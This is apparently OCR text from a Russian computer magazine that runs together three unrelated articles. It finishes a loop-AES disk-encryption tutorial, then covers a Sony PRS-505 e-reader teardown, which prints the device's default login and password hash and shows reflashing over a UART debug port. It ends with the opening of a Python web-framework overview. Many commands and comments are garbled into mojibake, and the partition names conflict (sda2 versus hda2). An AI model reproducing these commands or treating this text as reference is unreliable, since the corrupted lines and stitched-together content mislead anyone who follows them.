каждом подключении):

# swapon -a

Кроме того, удаляем каталог /var/log/
ksymoops, чтобы modprobe, загружающий 
модуль loop.ko, не ругался на невозможность 
записи в файловую систему, которая монти-
руется в режиме чтения/записи уже после 
подключения swap:

# rm -rf /var/log/ksymoops

СЦЕНАРИЙ 2. ШИФРОВАНИЕ 
РАЗДЕЛА С ИСПОЛЬЗОВАНИ-
ЕМ 65 СЛУЧАЙНЫХ КЛЮЧЕЙ
Этот сценарий описывает использование loop-
AES для шифрования одного из разделов жест-
кого диска (/dev/sda2, точка монтирования /mnt) 
с использованием сгенерированных случайным 
образом 65 ключей (один блок данных — один 
ключ, по порядку). Они будут зашифрованы с 
помощью gpg и помещены на съемный носитель 
(USB-брелок, примонтированный к /media/
usbstick).
1. Создадим 65 случайных ключей и зашифруем 
их с помощью gpg:

$ head -c 3705 /dev/random | uuencode 

-m — | head -n 66 | tail -n 65  | gpg 

--symmetric -a >/media/usbstick/

keyfile.gpg

Вводим пароль для доступа к файлу ключей.
2. Заполним раздел случайными данными. Для 
этого создадим псевдо-устройство /dev/loop2 
поверх /dev/sda2, указав, что мы используем ал-
горитм AES128 и файл ключей /media/usbstick/
keyfile.gpg:

# echo -n «ÏàÐîËü» | losetup -p 0 -e 

AES128 \

    -K /media/usbstick/keyfile.gpg /

dev/loop2 /dev/sda2

Запишем в псевдо-устройство случайную 
информацию:

# dd if=/dev/zero of=/dev/loop2 

bs=4k conv=notrunc 2>/dev/null

Отключим псевдо-устройство:

# losetup -d /dev/loop2

3. Добавим в /etc/fstab следующую запись:

/dev/sda2 /mnt ext3 

defaults,noauto,loop=/dev/

loop2,encryption=AES128,gpgkey=/

media/usbstick/keyfile.gpg 0 0

4. Теперь на устройстве можно создать файло-
вую систему:

# losetup -F /dev/loop2

# mkfs -t ext3 /dev/loop2

# losetup -d /dev/loop2

С помощью флага ‘-F’ мы заставили losetup 
взять всю необходимую ей информацию из фай-
ла /etc/fstab, затем создали на псевдо-устройс-
тве файловую систему ext3 и удалили его.
5. Наконец, примонтируем файловую систему:

# mount /mnt

После этого в выводе команды «losetup -a» ты 
должен увидеть информацию о псевдо-уст-
ройстве /dev/loop2, которое подключено к /dev/
hda2. Проверку файловой системы необходимо 
производить применительно к loop-устройству:

# losetup -F /dev/loop2

# fsck -t ext3 -f -y /dev/loop2

# losetup -d /dev/loop2

СЦЕНАРИЙ 3. 
ШИФРОВАНИЕ /TMP
Третий сценарий демонстрирует одну из инте-
реснейших функций loop-AES: автоматическое 
генерирование ключей с последующим создани-
ем новой файловой системы на loop-устройстве. 
Нужно это для разделов, хранящих временные 
данные. Нет смысла создавать перманент-
ные ключи и запоминать пароль для доступа к 
разделу, содержащему каталог /tmp, который при 
следующей перезагрузке будет очищен.
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Чтобы зашифровать каталог /tmp (или любой другой) таким 
способом, просто размонтируй его (umount /tmp), добавь в /
etc/fstab следующую строку:

/dev/sda3 /tmp ext2 defaults,loop=/dev/loop3,e

ncryption=AES128,phash=random/1777 0 0

и смонтируй каталог снова:

# mount /tmp

Команда mount не спросит пароля, а просто подключит /
dev/loop3 к устройству /dev/sda3, создаст новую файловую 
систему, сгенерирует 65 случайных ключей и воспользу-
ется ими для шифрования записываемых данных. Права 
на каталог /tmp будут выставлены в значение 1777 (опция 
«phash=random/1777»).
Обрати внимание, что выбор файловой системы ext2 в этом 
случае не требование, а просто здравый смысл. Зачем 
использовать журналируемую файловую систему в ситуации, 
когда ФС заново создается при каждом монтировании?

СЦЕНАРИЙ 4. ШИФРОВАНИЕ 
КОРНЕВОГО РАЗДЕЛА
Четвертый и заключительный сценарий использования loop-
AES описывает процесс настройки системы для шифрования 
корневого раздела. Сразу оговорюсь, что это непростая проце-
дура, которая потребует создания каталога /boot на отдельном 
разделе и наличия под рукой LiveCD или отдельно стоящего 
дистрибутива Linux. В основе метода лежит использование 
небольшого образа initrd, который еще до загрузки запустит 
утилиты insmod и losetup, располагающиеся в каталоге /boot, 
для подключения шифрующего loop-устройства поверх корне-
вого раздела еще до фактической загрузки системы.
1. Первое, что необходимо сделать, — это скачать и устано-

вить dietlibc, минималистичную библиотеку языка Си, код 
которой будет использован в образе initrd:

# cd /usr/src

# wget ftp://ftp.kernel.org/pub/linux/libs/

dietlibc/dietlibc-0.32.tar.bz2

# tar -xjf dietlibc-0.32.tar.bz2

# cd dietlibc-0.32

# make

# install bin-i386/diet /usr/local/bin

2. Также нам понадобится утилита aespipe, с помощью 
которой мы зашифруем существующие на корневом разделе 
данные, не потеряв их:

# cd /usr/src

# wget http://loop-aes.sourceforge.net/

aespipe-latest.tar.bz2

# cd aespipe-v2.3e

# CFLAGS="-O2" LDFLAGS="-static -s" ./

configure

# make

# make tests

# cp -p aespipe /boot

3. Статически соберем утилиту gpg, чтобы она не зависела от 
библиотек, расположенных в корневом разделе:

# cd /usr/src

# wget ftp://ftp.gnupg.org/gcrypt/gnupg/gnupg-

1.4.9.tar.bz2

# tar -xjf gnupg-1.4.9.tar.bz2

# cd gnupg-1.4.9

# patch -p1 </usr/src/loop-AES-v3.2g/gnupg-

1.4.9.diff
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• Описанная в статье 
утилита aespipe — это 
отличный инстру-
мент, который можно 
использовать для 
получения доступа 
к зашифрованному 
устройству отовсюду, 
например из FreeBSD.

• В отличие от других 
систем шифрования, 
драйвер loop-AES 
поддерживает 
прямую и обратную 
совместимость с бо-
лее ранними ядрами 
(вплоть до ветки 2.0) 
и может работать с 
томами, зашифро-
ванными еще самыми 
первыми версиями 
драйвера89

info

INFO

Для большего 
удобства мы собрали 
все необходимые 
команды в файл 
im_too_lazy_to_type_
it.txt. Вместо набора 
команд тебе будет 
достаточно делать 
copy’n’paste.

dvd

DVD

info
Во многих дистри-
бутивах утилиты и 
драйвер loop-AES 
можно установить 
средствами пакетно-
го менеджера, однако 
ядро придется пе-
ресобирать в любом 
случае.

WARNING

Исходники модуля loop-AES так-
же доступны в Ubuntu 9.04
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# CFLAGS="-O2" LDFLAGS="-static -s" 

./configure --prefix=/usr --enable-

static-rnd=linux

# make

# rm -f /usr/share/man/man1/

{gpg,gpgv}.1.gz

# make install

# chown root:root /usr/bin/gpg

# chmod 4755 /usr/bin/gpg

Заметь, если каталог /usr/bin находится не на 
корневом разделе, бинарник gpg придется 
переместить в каталог /bin:

# cd /usr/bin

# mv gpg ../../bin

# ln -s ../../bin/gpg gpg

4. Скопируем модуль loop.ko в каталог /boot, что-
бы он был доступен до монтирования корневого 
раздела:

# cp -p /lib/modules/2.6.28.9-

noloop/extra/loop.ko /boot/modules-

2.6.28.9-noloop/

5. Как и прежде, создадим 65 случайных ключей, 
которые будут использованы для шифрования 
корневого раздела:

# umask 077

# head -c 3705 /dev/random | uuencode 

-m — | head -n 66 | tail -n 65 \

    | gpg --symmetric -a >/boot/

rootkey.gpg

6. Подготовим образ initrd. Для этого переходим 
в каталог с исходниками loop-AES (/usr/src/
loop-AES-v3.2g), открываем файл build-initrd.sh 
в текстовом редакторе и исправляем несколько 
переменных:

НАСТРОЙКА BUILD-INITRD.SH

# Èñïîëüçîâàòü ìåòîä initramfs/

switch_root

# äëÿ ïåðåêëþ÷åíèÿ íà çàøèôðîâàííûé 

êîðíåâîé ðàçäåë

USEPIVOT=2

# Ðàçäåë, õðàíÿùèé êàòàëîã /boot

BOOTDEV=/dev/sda1

# ÔÑ boot-ðàçäåëà

BOOTTYPE=ext3

# Êîðíåâîé ðàçäåë

CRYPTROOT=/dev/sda2

# ÔÑ êîðíåâîãî ðàçäåëà

ROOTTYPE=ext3

# Ìåòîä øèôðîâàíèÿ (AES128/AES192/

AES256)

CIPHERTYPE=AES128

# Êëàâèàòóðà â ðåæèìå UTF-8. Ýòî âàæ-

íî, åñëè

# ïàðîëü ê êëþ÷àì ñîäåðæèò íåëàòèíñ-

êèå ñèìâîëû

UTF8KEYBMODE=1

Отредактируем конфигурационный файл grub (/
boot/grub/menu.lst), чтобы запись о нашем ядре 
выглядела примерно так:

# vi /boot/grub/menu.lst

title Ubuntu 9.04, kernel 

2.6.28.9-noloop

root (hd0,0)

kernel /boot/vmlinuz-2.6.28.9-

noloop

initrd /initrd.gz

Наконец, установим образ initrd и набор необхо-
димых утилит (losetup, например) в каталог /boot:

# ./build-initrd.sh

7. Дело за малым: загрузиться с LiveCD (либо 
другого дистрибутива), создать несколько фай-
лов устройств (которых может не быть до запуска 
udev) и зашифровать содержимое корневого 
раздела. Монтируем корневой раздел хост-сис-
темы (здесь и далее /dev/hda2):

# mount /dev/hda2 /mnt

Открываем /mnt/etc/fstab и заменяем «/dev/
hda2 / ext3 defaults 0 1» на «/dev/loop5 / ext3 
defaults 0 1». Два важных замечания: необходи-
мо использовать именно /dev/loop5, — это имя 
прошито в initrd; в Ubuntu и некоторых других 
дистрибутивах вместо имени корневого раздела 
может быть указан его UUID (уникальный иден-
тификационный номер, используется для того, 
чтобы ядро могло найти корневой раздел, даже 
если жесткий диск будет подключен к другому 

каналу/компу). Теперь проверим на существо-
вание нескольких файлов устройств (нужны для 
работы утилит, помещенных в каталог /boot):

# ls -l /mnt/dev/{console,null,zero}

Если таковых не существует — создадим их:

# mknod -m 600 /mnt/dev/console c 5 1

# mknod -m 666 /mnt/dev/null c 1 3

# mknod -m 666 /mnt/dev/zero c 1 5

Отмонтируем корневой раздел:

# umount /mnt

# sync

И смонтируем boot-раздел (mount -r /dev/hda1 /
mnt), чтобы воспользоваться утилитой aespipe для 
шифрования содержимого корневого раздела:

# dd if=/dev/hda2 bs=64k \

    | /mnt/aespipe -e AES128 -K /mnt/

rootkey.gpg -G / \

    | dd of=/dev/hda2 bs=64k 

conv=notrunc

Уффф, это все, перезагружаемся и наслаждаем-
ся безопасностью:

# umount /mnt

# sync

# reboot

ЗАКЛЮЧЕНИЕ
Как видишь, loop-AES не так уж и сложен в уста-
новке и достаточно прост в использовании (за 
исключением четвертого сценария, конечно). 
С помощью этого незамысловатого драйвера 
можно зашифровать swap, разделы, файлы, 
флеш-накопители и даже CD-ROM. В пакете с 
исходниками драйвера ты найдешь подробное 
руководство, описывающее, кроме всего проче-
го, процесс настройки шифрования файловой 
системы загрузочного флеш-брелка и создания 
безопасного LiveCD.z
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Драйвер loop-AES, не напрягаясь, обгоняет dm-crypt как при работе 
с файлами (слева), так и в тестах iotest (справа)
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Н
аша цель — посмотреть, как исполь-
зуется Линукс во «взрослых», мас-
совых устройствах, оценить находки 
«тамошних» профессиональных ли-

нуксоидов, поднабраться опыта в исследовании 
чужого софта, а может, и добавить в устройство 
что-то свое.

ОФФЛАЙН
Итак, сначала проведем оффлайновый осмотр 
внутренней программы. Производитель элек-
тронных книг периодически выкладывает на 
официальный сайт свежие прошивки, исправ-
ляющие старые глюки и добавляющие новые. 
Чтобы не потрошить содержимое flash-карточек 
устройства, просто скачаем новую версию
(http://download.sony.com/prs/prs-505/ 
1.1.00.18040/PRS-505%20Updater%201.1.00.18040.
exe). Это программа, которую производитель 
нам предоставил для перепрошивки ридеров. 

Она содержит образ файловой системы для 
заливки в устройство. Экзешник — всего лишь 
самораспаковывающийся архив Win-Zip, и его 
совсем необязательно запускать, достаточно 
просто распаковать linux-утилитой unzip:

$ unzip PRS-505\ 

   Updater\ 1.1.00.18040.exe

Помимо вспомогательных dll-ек и конфигура-
ционных файлов xml (к ним мы еще вернемся), 
в распакованном архиве будут жить нужные 
образы ФС, которые и заливаются в итоге в 
устройство. Они имеют расширение *.img. 
Пропустим эти имиджи через программу file и 
посмотрим, что она о них думает:

$ file *.img

cramfs.Fsk.img:    Linux Compressed 

ROM File System data, little endian 

size 65536 CRC 0xc3e97789, edition 

2768907732, 3306537355 blocks, 

1718735798 files

cramfs.Rootfs.img: Linux Compressed 

ROM File System data, little endian 

size 65536 CRC 0xdb11801f, edition 

3444324402, 2364302859 blocks, 

491549572 files

raw.BootImg.img:   DOS executable 

(device driver) for DOS

Содержимое третьего файла показалось мне 
подозрительным, это был явно не ДОС-драйвер. 
Размер — 480 тысяч байт, почти полностью за-
бит единичками (для более быстрого залива во 
флеш, как я полагаю) и имеет некоторое коли-
чество вкраплений чего-то малоосмысленного. 
Сначала я решил, что это какой-то загрузчик 
(истинное назначение станет ясным позднее).
Файлы cramfs.Fsk.img и cramfs.Rootfs.img, 
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Применяем хирургию, чтобы раскрыть секреты 
Sony Bookreader PRS-505

Ebook-потрошитель

Вокруг нас полно гаджетов с Linux на борту, и никто не меша-
ет учиться на ошибках профессионалов, вскрывая гаджеты 
и изучая. Мной была куплена «игрушка» — книгочиталка на 
электронных чернилах Sony BookReader PRS-505. 
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очевидно — образы файловых систем в форма-
те CramFS. Попробуем их смонтировать:

$ mkdir Fsk.FS

$ cd Fsk.FS

# mount -t cramfs -o loop ../cramfs.

Fsk.img .

Внутри — каталог sony/ebook, а в нем — под-
каталоги application, bin и FONT. Заглянем в 
первый и увидим кучу динамических библио-
тек, скомпилированных под архитектуру armel, 
и кучку вездесущих xml-файлов. В каталоге /
bin — 4 бинарника, а в FONT — шрифты.
Теперь примонтируем файл cramfs.Rootfs.
img. В нем — полноценная файловая система 
GNU с каталогами: bin, Data, dev, etc, home, lib, 
mnt, opt, opt0, opt1, proc, root, sbin, tmp, usr, var. 
Что же интересного здесь можно накопать? 

Ну, во-первых, содержимое файла /etc/issue 
даст нам версию окружения Linux — коммер-
ческий проект MontaVista версии 3.0 (www.
mvista.com). Файлы /etc/passwd и /etc/sudoers 
расскажут о единственном пользователе этой 
системы: «libro» с зашифрованным паролем 
«/ET3mqgcE1NTQ». Подкаталог /etc/rc.d 
обозначит все сервисы и демоны, которые 
запускаются в устройстве. Здесь все стандарт-
но, если бы не спрятавшийся в rcS.d скрипт 
S20libromount. Заглянув в него, можно узнать, 
что он монтирует файловые системы (в /opt , /
opt0 и /opt1), подгружает драйвера экранчика, 
звука, usb-storage и flash-карточек, выводит 
наружу приветствие и устанавливает дефолт-
ное время. В общем, все, от чего зависит книго-
читалка, делается здесь.
Я чуть было не ушел из подкаталога /etc дальше 
по файловой системе, но в последний момент 
заметил скриптик rc.d/rc3.d/S98librostart, кото-

рый запускает файл tinyhttp.sh, живущий в пре-
дыдущей изученной нами файловой системе. А 
вот здесь уже интересно. Зачем устройству, не 
имеющему никакого сетевого интерфейса, ка-
кой-то http? Ладно, берем на заметку и ползем 
по файловой системе дальше.
Некоторый интерес вызвал драйвер хвале-
ных электронных чернил (http://ru.wikipedia.
org/wiki/EInk), живущий по адресу /lib/
modules/2.4.17_n12/kernel/drivers/video/
etrackfb.o. Поиск последовательностей ASCII-
символов в этом двоичном файле (команда 
«strings etrackfb.o») дал следующий результат:

kernel_version=2.4.17_n12

author=E Ink

description=8track FrameBuffer 

Driver

VGA e-ink 600x800

Следовательно, электронные чернила 
представляются Линуксу как графический 
Framebuffer-совместимый дисплей! Так что, 
если захотим похачить устройство и заста-
вить выводить на экран что-то, отличное от 
книжек, — надо лишь направлять вывод нашей 
графической программы в /dev/fb0. Проявля-
ется и смысл файла raw.BootImg.img — это то, 
что отсылается во фреймбуффер при загрузке 
ОС, то есть картинка с логотипом и надписью 
«Starting Up…». Размер файла как раз равен 
800x600 (=480000), по байту на пиксель.
Одно из особенностей устройства — разработ-
чики физически поместили на разные файло-

Подпаялся к 
отладочному 
порту. Ахтунг! 

Контакт GND на 
этой фотке за-

паян не там! Это 
мой косяк

Разобранный 
девайс
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вые системы собственно GNU (как универсаль-
ный софт) и устройство-зависимую оболочку 
Fsk — то, что и делает букридер букридером. 
Сделано, это чтобы можно было быстро зали-
вать обновления к программе чтения, не трогая 
систему целиком и повышая ее безопасность.

РАЗБИРАЕМ…
Внутренности устройства уже давно исследо-
ваны товарищами igorsk, boroda и остальными 
энтузиастами с форума www.the-ebook.org/
forum/viewtopic.php?t=7577. Нам осталось 
только повторить их подвиг, благо, инструкция 
по разборке там имеется.
С замиранием сердца разбираю своего хороше-
го друга и внутри обнаруживаю:

• Öåíòðàëüíûé ïðîöåññîð FreeScale 

(Dragonball) MX-1 ñ àðõèòåêòóðîé 

ARM926

• Ìèêðîñõåìà NAND-Flash ïàìÿòè 

Samsung (256 Ìb)

• Ìèêðîñõåìà NOR-Flash ïàìÿòè 

Spansion (2 Ìb)

• Äâå ìèêðîñõåìû îïåðàòèâíîé ïàìÿòè 

Samsung

• Êîíòðîëëåð êàðò SD/MMC+MemoryStick 

Ricoh

• Êîíòðîëëåð äèñïëåÿ íà FPGA Actel 

ProASIC3

• Öèôðî-àíàëîãîâûé ïðåîáðàçîâàòåëü 

äëÿ âûâîäà çâóêà

• Êîíòðîëëåð USB Epson S1R72V17

• Ðàñïàéêà ïîä ïðîïðèåòàðíûé îòëà-

äî÷íûé ðàçúåì (100 íîæåê), ìàðêèðî-

âàíà êàê CN1501

Итак, никакого чуда или крутой инженерной на-
ходки внутри букридера нет. Видим микросхему 
NOR-памяти, в которой, скорее всего, живут за-
грузчик и ядро, потому как именно этот тип Flash 
умеет читать отдельно заданный байт (Random 
Access). Рядом — NAND-Flash, где, очевидно, 
живут файловые системы и, собственно, сами 
книжки. Лично меня порадовала SDRAM-память 
в маленьких BGA-корпусах. Тем самым инжене-
ры нехило сэкономили место на плате.
Вообще, компоновщикам платы и дизайнерам 
корпуса моя похвала и зависть. Все подогнано 
неимоверно точно, и нигде не заметно расточи-
тельства. Впихнуть в корпус что-нибудь, кроме 
того, что в нем есть, мне показалось невозмож-
ным. Короче, ни добавить, ни отнять.
Разберемся с отладочным разъемом. Очевидно, 
на него выводятся JTAG-интерфейсы микросхем 
+ какие-нибудь порты, типа последовательного 
отладочного UART’а с центрального процес-
сора. Так и есть. Ребята с форума, названного 
выше, уже сделали грязную работу, в виде 
тыкания осциллографом, и вычислили принад-
лежащие DBG-порту ножки. Осталось только к 
ним подпаяться. Припаиваем тонкие серебря-
ные провода к 6(Transmit) и 7(Receive) пинам, 
а также не забываем про «земляной» контакт, 
который можно взять или от 5-го пина разъема 

или — просто схватившись за корпус устройства. 
Через переходник RS-232/UART подключаем к 
COM-порту компьютера.

ОНЛАЙН
Включаем устройство. Если порт настроен пра-
вильно и все запаяно аккуратно, то наблюдаем 
лог загрузки Линукса. Как загрузка законче-
на, — логинимся с узнанными из /etc/passwd 
реквизитами (libro:librie). Система пускает нас и 
вываливает сообщение:

### fskLoad

### fskLoaded

latest nblconfig read from 0x0003b800

latest nblconfig written to 

0x0003c000

#### xs_switcher_usbWatcher_

endUSBThread

# warning: global instead of local!

# warning: global instead of local!

SYSNPM: sysnpm_pm_callback():163        

Mem, CPU stopping...

После чего перестает отвечать на команды! Все 
хорошо, так и должно быть, это процесс-оболоч-
ка tinyhttp заметила неактивность процессора 
и вырубила его, чтобы сэкономить аккумулятор. 
«Расшевелить» процессор можно, понажимав 
на кнопки громкости. Работать так сложно, 
поэтому убиваем лишнее:

$ killall tinyhttp.sh

$ killall tinyhttp

С этого момента нам доступна настоящая, 
полноценная система GNU/Linux на ядре 
2.4!
Из лога загрузки (команда dmesg) можем 
узнать многое об аппаратной части девайса: 
например, что размер оперативной памяти 
64 Mb и что flash-память разбита на очень 
много разделов на все случаи жизни. Взгля-
нем на характеристики процессора:

root@(none):/proc# cat /proc/cpuinfo

Processor       : ARM/CIRRUS 

Arm920Tsid(wb) rev 0 (v4l)

BogoMIPS        : 98.09

Features        : swp half 26bit

Cache type      : write-back

Cache clean     : cp15 c7 ops

Cache lockdown  : format A

Cache unified   : harvard

...

Hardware        : Motorola 

DragonBall MX1 (eBook-2)

Выходит, контроллер работает на частоте 
100 МГц и имеет архитектуру ARM9.
А вот что Линукс примонтировал:

root@(none):/var# mount

/dev/root on / type cramfs (rw)

proc on /proc type proc (rw)

tmpfs on /dev/shm type tmpfs (rw)

tmpfs on /tmp type tmpfs (rw)

tmpfs on /var type tmpfs (rw)

tmpfs on /etc type tmpfs (rw)

/dev/mtdblock10 on /opt1/keys type 

cramfs (rw)

/dev/mtdblock11 on /opt1/info type 

cramfs (rw)

/dev/mtdblock15 on /opt type cramfs 

(rw)

/dev/mtdblock16 on /opt0 type jffs2 

(rw)

devpts on /dev/pts type devpts (rw)

Кстати, то, что имеет файловую систему 
cramfs — доступно только для чтения. Особен-
ность файловой системы, что бы там драйвер 
себе ни думал.

ОБОЛОЧКА
Как среди файлов прошивки устройства, так и 
в приложении, поставляющемся под Windows, 
можно заметить множество xml-файлов, 
как один, начинающихся со строчки «<fsk 
xmlns=»http://www.kinoma.com/Fsk/1»>». Это 
файлы для оболочки, созданной компанией 
Kinoma и приобретенной Sony (что мелькает в 
«титрах»). В общем, бинарник tinyhttp парсит 
эти файлы и делает все, что ридеру нужно: 
рисует интерфейс, подключает библиотеки для 
разбора файлов, выполняет скрипты и т.д. На-
звали его, конечно, странновато, но где-то даже 
логично. Нужную функциональность можно 
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добавить в систему, не прикасаясь к компилятору. Пишем 
по образу и подобию новые конфиги или правим существу-
ющие, потом добавляем шрифты, простенькие игры — это 
возможно! «Язык» xml-файлов не очень сложен, так что все 
в наших руках.
Энтузиасты в интернете уже создали альтернативные 
прошивки с пакетами локализации и даже упаковали их в 
CramFS-образы. Среди рекомендуемого — более читабель-
ные шрифты, симпатичные иконки и часы в углу экрана. 
Можно не спешить заламывать конфиги, а сначала посмот-
реть, что предлагает сообщество. Но если хочется чего-то 
своего, то расскажу, как создать образ на примере заливки 
новых шрифтов.
Ttf-шрифты лежат в каталоге /opt/sony/ebook/FONT. В 
идеале, их надо переименовать в tt0003m_.ttf,tt0011m_.
ttf,tt0419m_.ttf, а также дать внутренние имена:

Font family — Swis721 BT, Dutch801 Rm BT, Courier10 BT

Font subfamily — Roman, Roman, Roman

Full font name — Swis721 BT Roman, Dutch801 Rm BT 

Roman, Courier10 BT Roman

Именно такие имена прописаны в конфигах application/
kconfig.xml и application/resources/scripts/main.xml. По 
образу и подобию написанного там можно изменить предло-
женные стили на свои:

<style font=»Courier10 BT»>

// Ñòèëü äëÿ ïîêàçà ÷àñîâ: æèðíûé, ðàçìåð 22

<style id=»time" size="22" style="bold" 

color="#FFFFFF"/></style>

<style font="Dutch801 Rm BT">

// Òåêñò ðàçìåðîì 12

<style id="text" size="12"/></style>

В тех же конфигах, играясь со скриптами и разметкой, можно 
добавить возможностей в оболочку. Финальный аккорд — 
пакуем новую ФС в образ:

# mkfs.cramfs ./new_opt ./new_opt.img

ПЕРЕПРОШИВКА
Просто так заменить нужный файл на обновленный сжатая 
файловая система cramfs не позволяет. Надо будет ее рас-
паковать на PC, внести изменения и с помощью mkfs.cramfs 
запаковать обратно, что и было проделано в предыдущем 
разделе. Товарищ igorsk написал набор скриптов (Universal 
Flasher, качать отсюда — www.mobileread.com/forums/
showthread.php?t=26831). С их помощью можно заменить 

старый образ на 
созданный, а также 
(внимание!) заменять 
отдельные файлы, 
если хочется поэкс-
периментировать, не 
мучаясь с компонов-
ками образов. Просто 
скидываем кучку фай-
лов на Flash-карточку, 

заменяем образ new_opt.img на наш, вставляем в букридер 
и перезагружаемся. Если все прошло хорошо, и ошибок в 
конфигах нет, то мы заимеем обновленный интерфейс.
Чаще всего при заливке испорченного образа система не 
выходит из строя и дает нам шанс исправить проблему. Хотя 
иногда оболочка повреждается настолько, что без тяжелой 
артиллерии (подпаивания к отладочному порту) не обойтись. 
Но ведь остальная файловая система с GNU не убита, 
поэтому с полноценной консолью несложно перепрошить 
устройство рабочей прошивкой вручную, предварительно 
залив на флешку соответствующий образ (приведенная 
ниже последовательность действий предложена boroda):

// Ñîçäàåì âðåìåííûé äèñê â ïàìÿòè îáúåìîì 32 Ìb

root@(none):~# mount -o remount -t tmpfs -o 

size=32m /dev/shm /tmp

// Ìîíòèðóåì Flash-êàðòî÷êó

root@(none):~# mkdir /tmp/sd_card

root@(none):~# mount /dev/sdmscard/r5c807a1 /tmp/

sd_card

// Âûíèìàåì îòòóäà îáðàç âî âðåìåííûé äèñê

root@(none):~# cp /tmp/sd_card/new_opt.img /tmp

// Ïðîâåðÿåì êîíòðîëüíóþ ñóììó

root@(none):~# md5sum /tmp/new_opt.img

// Ïðîïðèåòàðíûé ñîôò Sony äëÿ íèçêîóðîâíåâîé ðà-

áîòû ñ NAND-flash êàðòî÷êàìè

root@(none):~# /usr/local/sony/bin/nblsdm delete 

Fsk

root@(none):~# /usr/local/sony/bin/nblsdm create 

-i /tmp/new_opt.img -d 1 Fsk

// Ñðàâíèâàåì çàëèòîå

root@(none):~# /usr/local/sony/bin/nblsdm cmp -i 

/tmp/new_opt.img Fsk

root@(none):~# /usr/local/sony/bin/nblconfig 

-ksel normal

root@(none):~# sync

root@(none):~# reboot

ПРОСТОР ДЛЯ ЭКСПЕРИМЕНТОВ
Привычка разбирать попадающиеся под руку (и соби-
рать обратно!) гаджеты добавляет опыта и помогает при 
создании чего-то своего. Мы взяли устройство для чтения 
электронных книг, но вместо чтения стали исследовать его 
программную и аппаратную суть. Ладно спроектированный 
и созданный на базе знакомого и изученного Linux, Sony 
Bookreader PRS-505 предоставляет широкий простор для 
экспериментов и творчества. z
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• Хороший сайт про 
электронные книжки 
с замечательным 
форумом — www.the-
ebook.org.

• Еще немного све-
дений о внутреннос-
тях девайса: http://
wiki.mobileread.com/
wiki/Sony_Reader_
hack.

links

HTTP://WWW

• UART — этот 
простой механизм 
позволяет последо-
вательно передать 
несколько байт. В од-
ном из предыдущих 
номеров журнала 
Сергей Долин под-
робно написал о нем 
в рубрике «Фрикинг».

• Sony Bookreader 
PRS-505 — карман-
ный компьютер, 
имеющий вместо 
стандартного ЖК или 
OLED-дисплея так 
называемый E-ink 
дисплей на электрон-
ных чернилах.

info

INFO

Внутренности 
в подробностях
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В рамках этой статьи мы рассмотрим инструментарий, написанный 
на Питоне (и использующий его же), который делает работу веб-
программиста легче и приятнее — веб-фреймворк. А точнее, даже 
несколько самых популярных питоновских веб-фреймворков.

ПИТОНОВСКИЕ ВЕБ-ФРЕЙМВОРКИ
В процессе выбора веб-фреймворка для разработки сайта есть над чем 
задуматься. Если взять за критерий язык программирования, то для по-
клонников Microsoft и C# выбор очевиден — ASP.NET. Любителям Ruby 
тоже долго выбирать не приходится — Ruby On Rails. Сложнее Python, 
PHP и Java-программистам: количество веб-фреймворков для этих 
языков ужасает. Надеюсь, статья внесет некоторую ясность и поможет 
любителям Python’a сделать более осознанный выбор. Итак, плюсы 
питоновских веб-фреймворков:
1) Использование языка Python. Наверняка, восхваление Python’a уже 
порядком поднадоело, но на Python’e сайт действительно разрабатыва-
ется быстрее, приятнее и дешевле, чем на многих других языках. 
2) Богатый выбор. Обилие фреймворков может испугать только новичка. 
Профессионала же всегда радует свобода выбора, поскольку шанс 
найти то, что действительно нужно, увеличивается. К тому же, выбор 

порождает конкуренцию, а здоровая конкуренция в свою очередь при-
водит к улучшению качества каждого фреймворка. Отсюда вытекает 
следующий плюс.
3) Бурное развитие. Постоянно появляются новые фреймворки, а их 
предшественники либо уступают дорогу молодым, либо продолжают 
борьбу за лидерство: фиксятся баги, вводятся новые фишки. Это от-
личает веб-сообщество Python’a от, например, веб-сообщества Ruby, 
которое в большинстве своем представлено фреймворком Ruby on Rails 
и в котором, в свою очередь, наблюдается некоторый застой из-за отсут-
ствия новых идей.  
4) Opensource. Наверное, с нашим с тобой флибустьерским ментали-
тетом, это не ахти какой плюс. Но, говорят, легально и бесплатно пользо-
ваться качественным софтом — это здорово :).
На данный момент насчитывается несколько десятков питоновских 
веб-фреймворков. Далее будут подробно рассмотрены три самых круп-
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ных и известных: Django, Pylons и TurboGears. Также будут упомянуты 
несколько других интересных фреймворков: Zope, Twisted, CherryPy.

КАК ВСЕ НАЧИНАЛОСЬ
World Wide Web появилась в 1990 году. В 1996 свет увидел Grail — 
веб-браузер, написанный на Питоне. Он существовал всего лишь до 
1999 года, но дал толчок к дальнейшему развитию питоновских веб-
библиотек. В 1998 году появился Zope — настоящий солидный фрейм-
ворк, своего рода Emacs для веб-приложений. Но некоторые ставили 
ему в упрек монолитность и громоздкость (фактически, он вводил новый 
язык программирования). Поэтому начали разрабатываться такие 
фреймворки как Webware (2000), Quixote (2000, по сути — упрощен-
ный Zope), Twisted (весьма своеобразный асинхронный фреймворк), 
CherryPy и др. Количество фреймворков росло, как грибы после дождя, 
что обусловило появление стандарта WSGI (о нем чуть позже). Следую-
щей вехой в истории питоновских фреймворков стал 2005 год. Именно 
тогда появились Django, Pylons и TurboGears — представители новой 
эры «мегафреймворков». Они совместили традиционные веб-сервисы, 
которые предоставлялись и раньше, с такими аддонами как шаблонные 
«движки», SQL ORM, библиотеками Javascript и т.п. Эта тройка лидирует 
по популярности до сих пор. 

WSGI
Как уже упоминалось, в Питоне существует большое количество веб-
фреймворков, тулкитов и библиотек. Все они по-своему устанавлива-
ются и настраиваются, и часто возникает проблема их взаимодействия 
между собой. По этой причине был разработан WSGI (Web Server Gateway 
Interface) — стандарт взаимодействия между Python-программой, 
выполняющейся на стороне сервера, и самим веб-сервером. Все со-
временные питоновские веб-фреймворки ему соответствуют. В том 
числе, WSGI определяет middleware-компоненты, которые предостав-
ляют интерфейсы как приложению, так и серверу. То есть, для сервера 
middleware является приложением, а для приложения — сервером. Это 
позволяет составлять цепочки WSGI-совместимых middlewares. Таким 
образом (в теории), подбирая нужные middleware-компоненты, можно 
составлять собственные фреймворки! Эта концепция наиболее широко 
проявила себя в Pylons (о чем будет рассказано далее).

MVC
Архитектура многих фреймворков сходна между собой и соответствует 
паттерну MVC (Model-View-Controller). Согласно этому паттерну, при-
ложение разбивается на три части: 
• Модели — содержат данные, с которыми работает приложение. Часто 
соотносится с таблицами базы данных.
• Виды — отвечают за чтение данных из модели и их отображение 
пользователю. 
• Контроллер — логика приложения. Он вызывает виды для отобра-
жения данных пользователю, либо получает данные от пользователя и 
сохраняет их в моделях.
Идея MVC в изоляции, так что можно менять одну часть, не ломая другие.
 
